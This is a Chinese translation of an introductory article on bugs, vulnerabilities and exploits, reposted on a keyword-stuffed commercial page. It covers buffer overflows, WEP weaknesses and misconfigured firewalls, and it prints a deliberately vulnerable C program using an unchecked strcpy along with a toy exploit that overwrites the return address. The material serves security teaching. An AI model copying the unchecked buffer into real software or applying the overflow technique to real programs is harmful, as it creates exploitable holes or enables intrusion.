濮阳杆衣贸易有限公司

主頁(yè) > 知識(shí)庫(kù) > 對(duì)錯(cuò)誤,漏洞和exploits的說(shuō)明

對(duì)錯(cuò)誤,漏洞和exploits的說(shuō)明

熱門(mén)標(biāo)簽:不同的地圖標(biāo)注 隨州銷(xiāo)售外呼系統(tǒng)平臺(tái) 激戰(zhàn)黃昏地圖標(biāo)注說(shuō)明 交行外呼系統(tǒng)有哪些 溫嶺代理外呼系統(tǒng) 臨滄移動(dòng)外呼系統(tǒng)哪家有 防城港市ai電銷(xiāo)機(jī)器人 寧夏保險(xiǎn)智能外呼系統(tǒng)哪家好 怎么更改地圖標(biāo)注電話(huà)
作者:Mark Vogels 
翻譯:黯魂[S.S.T] 

在這篇文檔中,我將會(huì)試著為你提供一個(gè)對(duì)于錯(cuò)誤,和由于那些錯(cuò)誤而產(chǎn)生的漏洞以及它們的exploits的基本認(rèn)識(shí)。那決不意味著能讓你完全理解exploits和漏洞,但是能幫助你學(xué)會(huì)認(rèn)識(shí)可能的漏洞以及怎樣處理它們。 

一般而言有3種不同類(lèi)型的錯(cuò)誤會(huì)可能危及計(jì)算機(jī)系統(tǒng)和網(wǎng)絡(luò)的安全。 
#編程錯(cuò)誤 
#配置錯(cuò)誤 
#設(shè)計(jì)錯(cuò)誤 

錯(cuò)誤可以被看成是失誤,盡管它們并非都是由事故導(dǎo)致的。軟件/設(shè)備的最初創(chuàng)建者可能就存在錯(cuò)誤,用最好的想法卻創(chuàng)建了錯(cuò)誤,并且沒(méi)有意識(shí)到它可能就是一個(gè)潛在的威脅。這聽(tīng)上去可能有點(diǎn)糊涂,但是稍后在文章中都將會(huì)被澄清。為了深入探討關(guān)于錯(cuò)誤的細(xì)節(jié),我們需要?jiǎng)?chuàng)建一個(gè)對(duì)不同類(lèi)型的錯(cuò)誤的定義以至于我們能更容易認(rèn)識(shí)它們。 

不同錯(cuò)誤類(lèi)型的定義 

編程錯(cuò)誤: 

編程錯(cuò)誤通常是由程序編寫(xiě)者造成的。最常見(jiàn)的可利用編程錯(cuò)誤是緩沖區(qū)溢出。把緩沖區(qū)溢出想象成一個(gè)空的杯子:程序的使用者將要倒咖啡到杯子里,但是程序編寫(xiě)者事先并不知道使用者將會(huì)倒多少咖啡在里面。所以程序編寫(xiě)者必須在使用者把咖啡倒進(jìn)杯子之前檢查和測(cè)試,以阻止咖啡從杯子里溢出。有時(shí)候檢查輸入大小并不容易,或者由于時(shí)間緊迫,程序員沒(méi)有時(shí)間寫(xiě)足夠廣泛的錯(cuò)誤檢測(cè)函數(shù)。那么結(jié)果就是:可能的緩沖區(qū)溢出和其他的編程錯(cuò)誤被創(chuàng)建。 

另一個(gè)編程錯(cuò)誤的例子是:當(dāng)用戶(hù)做一些預(yù)料之外的事,比如加載一個(gè)錯(cuò)誤類(lèi)型的文件到程序中時(shí),程序會(huì)崩潰。當(dāng)然不是所有的編程錯(cuò)誤都需要用戶(hù)輸入才能做一些預(yù)料之外的事,像使程序崩潰。一個(gè)程序也會(huì)取決于總是在一個(gè)明確位置的特殊文件。如果那個(gè)文件被移動(dòng),并且程序員沒(méi)有預(yù)料到,他就不可能在程序嘗試打開(kāi)它之前檢測(cè)文件是否還是在那個(gè)位置。假如程序在打開(kāi)那個(gè)文件后嘗試用它運(yùn)行,這就會(huì)導(dǎo)致不可預(yù)見(jiàn)的行為。 

這些類(lèi)型的錯(cuò)誤發(fā)生得相當(dāng)頻繁,并且大多時(shí)候廠(chǎng)商都會(huì)分發(fā)補(bǔ)丁包來(lái)解決由消費(fèi)者或者他們自己發(fā)現(xiàn)的被報(bào)告的錯(cuò)誤。 

配置錯(cuò)誤: 

這樣想象一個(gè)配置錯(cuò)誤:如果你是一個(gè)網(wǎng)絡(luò)管理員并且你需要運(yùn)行一個(gè)防火墻來(lái)保護(hù)你的網(wǎng)絡(luò)。習(xí)慣上,你會(huì)允許任何進(jìn)出的流量,除專(zhuān)門(mén)拒絕的流量種類(lèi)之外。 

一個(gè)簡(jiǎn)單的例子是防火墻僅僅阻塞了80端口,然而它將允許來(lái)自因特網(wǎng)的任何人連接到防火墻的配置頁(yè)面重新配置它。其余的端口都是開(kāi)著的。這明顯就是一個(gè)配置錯(cuò)誤,任何人都能通過(guò)使用另一個(gè)端口號(hào)來(lái)繞過(guò)防火墻。 

幸運(yùn)的是大多數(shù)廠(chǎng)商都知道這個(gè)錯(cuò)誤,因此他們都正確的做了相反的處理:任何流量都被阻塞除非專(zhuān)門(mén)允許的。所以自從端口被關(guān)閉以后,網(wǎng)絡(luò)管理員都不再需要擔(dān)心發(fā)現(xiàn)的新問(wèn)題,通過(guò)一個(gè)不使用的端口能訪(fǎng)問(wèn)他的網(wǎng)絡(luò)。(這里我只使用端口來(lái)舉例子,不過(guò)這在相同的端口上也能應(yīng)用不同類(lèi)型的流量。) 

另一個(gè)配置錯(cuò)誤的例子是,在一個(gè)網(wǎng)絡(luò)中的不受管理的hub代替可管理的交換機(jī)的用法。不同之處是,hub發(fā)送所有進(jìn)入的數(shù)據(jù)包到所有的端口,因?yàn)樗⒉恢涝谒竺娴慕邮照弑欢ㄎ坏侥膫€(gè)端口,而交換機(jī)知道。所以,在一個(gè)使用hub代替交換機(jī)的網(wǎng)絡(luò)中運(yùn)行一個(gè)sniffer,允許一個(gè)攻擊者查看包含可能的用戶(hù)名及密碼的更多數(shù)據(jù)包,解決辦法就是在網(wǎng)絡(luò)中使用交換機(jī)。即使現(xiàn)在這是一個(gè)配置錯(cuò)誤,但在過(guò)去卻不是,因?yàn)槟菚r(shí)交換機(jī)還不存在。 
  
設(shè)計(jì)錯(cuò)誤: 

設(shè)計(jì)錯(cuò)誤可以被看成是在軟件設(shè)計(jì)階段發(fā)生的錯(cuò)誤。即使程序員花足夠的時(shí)間在軟件發(fā)布之前編寫(xiě)檢測(cè)流程來(lái)檢驗(yàn)所有用戶(hù)的輸入,即使軟件被最終用戶(hù)正確地配置,這些錯(cuò)誤仍然會(huì)造成對(duì)于一個(gè)網(wǎng)絡(luò)的安全的極大危險(xiǎn)。 

讓我們看看這種情況:一個(gè)公司決定開(kāi)發(fā)一個(gè)軟件,這個(gè)軟件允許遠(yuǎn)程訪(fǎng)問(wèn)到一個(gè)網(wǎng)絡(luò)。那么他們也不得不支持這個(gè)軟件,從而他們決定放一些后門(mén)在里面以至于能使用公司名字作為密碼遠(yuǎn)程登錄。如果公司以外的人發(fā)現(xiàn)了那些后門(mén)呢,會(huì)發(fā)生什么?他使用那個(gè)軟件的遠(yuǎn)程訪(fǎng)問(wèn)能夠登錄進(jìn)任何一個(gè)網(wǎng)絡(luò)。結(jié)果將會(huì)是損失慘重的! 

盡管這些后門(mén)在過(guò)去被創(chuàng)建的相當(dāng)頻繁,現(xiàn)在一個(gè)公司銷(xiāo)售類(lèi)似的軟件卻不會(huì)再帶來(lái)風(fēng)險(xiǎn)了,因?yàn)樗獙?duì)攻擊者的濫用后門(mén)負(fù)責(zé)。 

另一個(gè)設(shè)計(jì)錯(cuò)誤的例子是使用在安全無(wú)線(xiàn)網(wǎng)絡(luò)中的WEP加密。我不打算深入說(shuō)明這為什么是一個(gè)設(shè)計(jì)錯(cuò)誤,畢竟那超出了這篇文章的范圍,但是它的基本流程是這樣的: 
一個(gè)3字節(jié)的初始化矢量增加到公鑰中來(lái)加密每個(gè)唯一的數(shù)據(jù)包。假設(shè)公鑰是abcde。第一個(gè)數(shù)據(jù)包的初始化矢量是123,因此這個(gè)數(shù)據(jù)包的全部密鑰就是123abcde。下一個(gè)數(shù)據(jù)包的初始化矢量是234,那么它的密鑰就是234abcde。 

設(shè)計(jì)錯(cuò)誤在這里其實(shí)也就是,只有3字節(jié)的不同初始化矢量,導(dǎo)致了255^3或者說(shuō)1650萬(wàn)不同的keys以及部分加密算法被使用。通過(guò)逆向分析部分算法,能夠相當(dāng)容易地獲得公鑰中的幾個(gè)字符。由于這個(gè)設(shè)計(jì)錯(cuò)誤,你只需要用唯一的初始化矢量重復(fù)發(fā)送10萬(wàn)個(gè)包(64-bit),發(fā)送80萬(wàn)個(gè)包(128-bit),就能破解出WEP-key,便可以進(jìn)入完整的無(wú)線(xiàn)網(wǎng)絡(luò)中。在一個(gè)繁忙的無(wú)線(xiàn)網(wǎng)絡(luò)中這能在幾小時(shí)內(nèi)做到。 

那么你看到了,設(shè)計(jì)錯(cuò)誤有點(diǎn)更難解決。你不能只是期望廠(chǎng)商發(fā)布快速更新來(lái)解決這個(gè)問(wèn)題,你也不可能通過(guò)查閱產(chǎn)品說(shuō)明書(shū)自己解決。針對(duì)WEP加密這種情況,一個(gè)小組創(chuàng)建了一個(gè)新的標(biāo)準(zhǔn),叫做WPA。這意味著使用WEP加密的產(chǎn)品應(yīng)該被取代,或者通過(guò)硬件更新以允許它們用這個(gè)新加密標(biāo)準(zhǔn)工作。對(duì)于已發(fā)現(xiàn)的WEP上的設(shè)計(jì)錯(cuò)誤的細(xì)節(jié)描述,可以去看看airscanner。com上面的精華文章。 


這些錯(cuò)誤如何成為漏洞的? 

一個(gè)漏洞就是對(duì)目標(biāo)的保護(hù)方面的一個(gè)弱點(diǎn)。目標(biāo)可以是連到一個(gè)完整網(wǎng)絡(luò)的一臺(tái)計(jì)算機(jī)的任何部分。我不會(huì)說(shuō)明這兒可能的漏洞的所有不同,因?yàn)槟菐缀醪豢赡?,但是我將設(shè)法指出什么是漏洞,以及漏洞如何產(chǎn)生的。 

按照早期的規(guī)定,最普遍的會(huì)成為漏洞的編程錯(cuò)誤是緩沖區(qū)溢出。假設(shè)一個(gè)基于棧的緩沖區(qū)溢出,緩沖區(qū)被放置在棧中。??梢员豢闯墒悄愕奶幚砥鞔鎯?chǔ)數(shù)據(jù)在里面并能與其共同工作的一個(gè)臨時(shí)工作區(qū)?,F(xiàn)在,當(dāng)你溢出一個(gè)放置在棧里的緩沖區(qū)時(shí),你能夠?qū)憯?shù)據(jù)到已分配空間的緩沖區(qū)之外,因此可以寫(xiě)其它數(shù)據(jù)到棧中。而其它數(shù)據(jù)可以是調(diào)用函數(shù)的返回地址。假設(shè)調(diào)用函數(shù)的返回地址是12345678,并且返回地址直接存儲(chǔ)在緩沖區(qū)后面的棧中,那么??瓷先タ赡軙?huì)像這樣: 
XXXXXXXXXX12345678 

XXXXXXXXXX是將包含我們的輸入的緩沖區(qū)。如果我們放一些比緩沖區(qū)大小要少的數(shù)據(jù)在里面,沒(méi)有任何奇怪的事會(huì)發(fā)生,但是當(dāng)我們放12個(gè)'A'在這只能承載10個(gè)字符的緩沖區(qū)中時(shí),多余的2個(gè)A就會(huì)覆蓋掉返回地址部分。從而使返回地址變成一個(gè)無(wú)效地址,然后函數(shù)無(wú)法返回,程序就崩潰了。 

如果這個(gè)程序是一個(gè)服務(wù)端應(yīng)用程序,有人能放12個(gè)A使程序崩潰,并且導(dǎo)致其他所有用戶(hù)都無(wú)法訪(fǎng)問(wèn)。這就成為了一個(gè)拒絕服務(wù)攻擊的例子。既然這樣,這個(gè)錯(cuò)誤就有了拒絕服務(wù)漏洞。 

如果我們用與上面同樣的例子,但換一個(gè)更大的緩沖區(qū),那么溢出緩沖區(qū)也就意味著更多的數(shù)據(jù)在一個(gè)實(shí)際溢出發(fā)生之前必須被放進(jìn)去,可是當(dāng)那發(fā)生時(shí),我們可以寫(xiě)一些計(jì)算機(jī)代碼(匯編指令),將其作為數(shù)據(jù)的一部分而放在緩沖區(qū)中使用。我們通過(guò)覆蓋它來(lái)改變返回地址,以指向我們溢出的緩沖區(qū)后面,程序?qū)?huì)試圖執(zhí)行我們的緩沖區(qū)。這時(shí),緩沖區(qū)包含了我們放進(jìn)去的代碼,程序并不會(huì)崩潰,而是轉(zhuǎn)去執(zhí)行我們的代碼。由于那些代碼可以是開(kāi)啟一個(gè)shell(命令解釋程序)的一小段代碼,并且會(huì)在那臺(tái)計(jì)算機(jī)上監(jiān)聽(tīng)一個(gè)特殊端口,因此這種類(lèi)型的代碼經(jīng)常被稱(chēng)作shellcode。 

隨著這些代碼的運(yùn)行,有人便能夠連接到那個(gè)特殊的端口上,并能執(zhí)行遠(yuǎn)程命令,同時(shí)獲得與在遠(yuǎn)程計(jì)算機(jī)開(kāi)啟這個(gè)存在漏洞的應(yīng)用程序的用戶(hù)所擁有的相同訪(fǎng)問(wèn)權(quán)的控制權(quán)。 

對(duì)于配置錯(cuò)誤,如果我們看看防火墻的例子,漏洞就更加明顯。假如那個(gè)防火墻能經(jīng)由telnet遠(yuǎn)程配置,那么僅僅不允許訪(fǎng)問(wèn)防火墻的80端口會(huì)給網(wǎng)絡(luò)管理員一個(gè)安全上的錯(cuò)誤認(rèn)識(shí),攻擊者仍舊能夠通過(guò)連接到防火墻的23端口進(jìn)行訪(fǎng)問(wèn)而配置它。 

然而,自從消費(fèi)者開(kāi)始要求他們所購(gòu)買(mǎi)的產(chǎn)品應(yīng)具有不同配置選項(xiàng)以后,廠(chǎng)商就開(kāi)始著手研發(fā)高級(jí)別的可配置的軟件和設(shè)備。這可能讓一個(gè)設(shè)備的配置變得專(zhuān)業(yè)化而導(dǎo)致錯(cuò)誤很容易發(fā)生。類(lèi)似的設(shè)備的配置是如此的復(fù)雜,而漏洞能被網(wǎng)絡(luò)管理員看到,因此允許一個(gè)潛在的攻擊者訪(fǎng)問(wèn)到網(wǎng)絡(luò)或系統(tǒng)中他本不應(yīng)該訪(fǎng)問(wèn)到的部分,所以一個(gè)簡(jiǎn)單的配置錯(cuò)誤會(huì)導(dǎo)致網(wǎng)絡(luò)和系統(tǒng)中存在一個(gè)潛在的漏洞。 

我已經(jīng)給出了一個(gè)由設(shè)計(jì)錯(cuò)誤導(dǎo)致漏洞的例子:WEP密鑰,但它很容易引出另一個(gè)設(shè)計(jì)錯(cuò)誤的例子:設(shè)想一個(gè)軟件公司編寫(xiě)了一個(gè)軟件用于瀏覽和創(chuàng)建文本文檔。他們想要出售他們的產(chǎn)品,然而由于競(jìng)爭(zhēng)者的軟件公司也開(kāi)發(fā)了一款相同功能的軟件,他們不得不設(shè)計(jì)一個(gè)表面上有更強(qiáng)大的功能的程序。因此他們決定增加一個(gè)特性以允許用戶(hù)能對(duì)自己創(chuàng)建的文檔有更多的控制,那樣用戶(hù)可以編寫(xiě)小型函數(shù)(宏),并能被植入文檔中,同時(shí)能夠幫助文檔瀏覽者在他的計(jì)算機(jī)上做各種各樣的事情。如果所有這些功能被一個(gè)惡意攻擊者使用,創(chuàng)建一個(gè)已植入宏的文檔,能復(fù)制自身到機(jī)器上被找到的其他所有文檔中去,并且不經(jīng)過(guò)瀏覽者的同意做各種各樣的其他事情呢?那么在這個(gè)被設(shè)計(jì)而創(chuàng)建的程序中,我們又有了一個(gè)可能的漏洞。 

你可以看到,一個(gè)錯(cuò)誤會(huì)導(dǎo)致產(chǎn)生一個(gè)漏洞。在宏被使用在文檔中的情況下,幫助軟件用戶(hù)創(chuàng)建更多動(dòng)態(tài)文檔的想法很偉大,除設(shè)計(jì)時(shí)沒(méi)有考慮安全因素以外。 


那么什么是一個(gè)exploit? 

exploit就是一種利用一個(gè)已發(fā)現(xiàn)的漏洞來(lái)改變程序或者系統(tǒng)初始功能的方法。這種方法對(duì)于一個(gè)攻擊者而言更有用處。在計(jì)算機(jī)安全中,術(shù)語(yǔ)"exploit"經(jīng)常被用于描述一個(gè)特殊的程序,它的唯一目的就是自動(dòng)利用一個(gè)漏洞來(lái)取得對(duì)有漏洞的目標(biāo)程序的控制權(quán),或者終止目標(biāo)程序的正常功能。 

但是在一個(gè)系統(tǒng)或者網(wǎng)絡(luò)中使用一個(gè)錯(cuò)誤的配置對(duì)要利用它的攻擊者來(lái)說(shuō),也能被叫做一個(gè)exploit,盡管它不一定非要是一個(gè)實(shí)際上能完成工作的特殊程序。 

我將通過(guò)一些C代碼的例子來(lái)試著說(shuō)明一個(gè)exploit的作用,其中之一是一個(gè)存在緩沖區(qū)溢出漏洞的簡(jiǎn)單的程序,另一個(gè)則是exploit。 

注意:這里給出的例子可能在不同的編譯器和系統(tǒng)上表現(xiàn)不同。你可能需要改變緩沖區(qū)中字符的數(shù)目才能真正改寫(xiě)返回地址,或者exploitfunction的地址會(huì)不同,但是他們?nèi)阅芄ぷ鳌?nbsp;

vulnerable_program.c: 


Copy code
#include "stdio。h" 
/*利用函數(shù)*/ 
exploitfunction() 

/*如果緩沖區(qū)溢出被成功利用,就會(huì)輸出此行內(nèi)容*/ 
printf("This line will be printed after successfully exploiting the buffer overflow. "); 
system("pause"); 
ExitProcess(0); 


normalfunction(char *myargument) 

char buffer[10]; 
strcpy(buffer,myargument); 


main(int argc, char *argv[]) 

if(argc>1) 

normalfunction(argv[1]); 
printf(" These lines get printed during normal execution with at least 1 commandline argument.The address of exploitfunction 
is 0x%。8X ",exploitfunction); 

else 
printf("Please provide the program with at least 1 commandline argument. "); 
ExitProcess(0); 


我已經(jīng)創(chuàng)建了3個(gè)函數(shù),一個(gè)是主函數(shù),其他2個(gè)分別是:在正常情況下執(zhí)行的normalfunction,以及利用函數(shù)exploitfunction。程序的目的是溢出緩沖區(qū)以至于返回地址將指向替換了normalfunction后面下一條指令的exploitfunction函數(shù)。 

現(xiàn)在我們需要指出文本字符串要多大才能完全覆蓋棧中的返回地址。有這個(gè)作為目標(biāo),就好辦了!我們每次增加一個(gè)字符直到程序崩潰。 

當(dāng)我在Windows系統(tǒng)上使用Dev-cpp編譯完程序以后,我知道了在程序崩潰之前最多需要27個(gè)A。 
exploitfunction函數(shù)的地址以16進(jìn)制形式表示,并且字節(jié)值經(jīng)常表現(xiàn)出:地址是不可打印的字符。我寫(xiě)了一個(gè)小程序,它將給這個(gè)易受攻擊的程序提供必要的字符串以利用它。 

在我的環(huán)境中,exploitfunction函數(shù)的地址(從易受攻擊的程序內(nèi)部我方便地打印得到)是0x00401290。因?yàn)闂T贗ntel x86系統(tǒng)上是以逆序存儲(chǔ)所有數(shù)據(jù)的(這篇文檔中那不會(huì)被說(shuō)明),我們需要準(zhǔn)備一個(gè)相同的字符串。因此可能的值類(lèi)似于
0x41414141414141414141414141414141414141414141414141414141901240. 

你可以看到,這里的字符'A'(0x41)我使用的是16進(jìn)制的表現(xiàn)形式,那是存儲(chǔ)在棧中的真實(shí)值。結(jié)果就是,exploit非常簡(jiǎn)單: 

Exploit.c: 


Copy code
#include "stdio.h" 
main() 

char workbuffer[200]; 
char tempbuf[4]; 
strcpy(workbuffer,"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 
tempbuf[0]=0x90; 
tempbuf[1]=0x12; 
tempbuf[2]=0x40; 
tempbuf[3]=0; 
strcat (workbuffer,tempbuf); 
system(workbuffer); 
return 0; 


這段程序所做的就是復(fù)制字符串"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA"到一個(gè)緩沖區(qū)中,并用新的返回地址創(chuàng)建另一個(gè)緩沖區(qū),附加在工作緩沖區(qū)之上。 
在那之后,程序調(diào)用system()來(lái)執(zhí)行字符串中的命令。輸出結(jié)果是: 
C:>exploit.exe 
This line will be printed after successfully exploiting the buffer overflow. 
Press any key to continue…… 

太棒了,它執(zhí)行了! 

難道那不偉大嗎? 

雖然我們實(shí)際上并沒(méi)有成功讓程序運(yùn)行我們自己的代碼,但經(jīng)過(guò)一些小小的改變就能完成。 
關(guān)于緩沖區(qū)溢出的更多相關(guān)信息請(qǐng)參考Aleph One寫(xiě)的著名文章"Smashing the stack for fun and profit"

經(jīng)過(guò)這篇文章的探討,你通常不得不自己行動(dòng)來(lái)阻止你的系統(tǒng)或者網(wǎng)絡(luò)被一個(gè)已知漏洞所利用。對(duì)于配置錯(cuò)誤我建議你請(qǐng)一位專(zhuān)家來(lái)幫你做必要的配置,因此在使用它之前你不用完全理解產(chǎn)品是如何運(yùn)作的。對(duì)于編程和設(shè)計(jì)錯(cuò)誤,通常有很多人進(jìn)行產(chǎn)品測(cè)試,而其他人則發(fā)表他們發(fā)現(xiàn)的漏洞到Internet上的一些安全列表上。所以如果你保持持續(xù)關(guān)注這些安全列表,并確認(rèn)你一直都在更新你的系統(tǒng)到最新版本,你就已經(jīng)接近一個(gè)安全環(huán)境了。 

―――――――――――――――――――――――――――――――――――――――――― 
最近的安全編程文檔: 

《Exploiting Software How to Break Code》 
描述如何編寫(xiě)exploit代碼的 

《Learning XML, 2nd Edition》 

《Writing Secure Code》 
微軟公司核心推薦,教你怎樣編寫(xiě)安全的代碼 

《OReilly Web Site Cookbook》 
建立和管理你的網(wǎng)站的使用手冊(cè),包括大量實(shí)例及解決方案

標(biāo)簽:沈陽(yáng) 河源 青海 哈密 紅河 阜陽(yáng) 無(wú)錫 忻州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《對(duì)錯(cuò)誤,漏洞和exploits的說(shuō)明》,本文關(guān)鍵詞  對(duì),錯(cuò)誤,漏洞,和,exploits,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《對(duì)錯(cuò)誤,漏洞和exploits的說(shuō)明》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于對(duì)錯(cuò)誤,漏洞和exploits的說(shuō)明的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    镇康县| 融水| 左贡县| 红原县| 南安市| 高邑县| 西平县| 锦屏县| 满城县| 南部县| 繁峙县| 体育| 房产| 江川县| 江阴市| 沁阳市| 鄂托克前旗| 仪陇县| 莎车县| 新干县| 昆明市| 灵丘县| 葫芦岛市| 天峻县| 神农架林区| 敦煌市| 岱山县| 孝昌县| 莱阳市| 连江县| 嘉义市| 阳泉市| 南召县| 邮箱| 炉霍县| 自贡市| 灌南县| 平原县| 达日县| 铜鼓县| 呼和浩特市|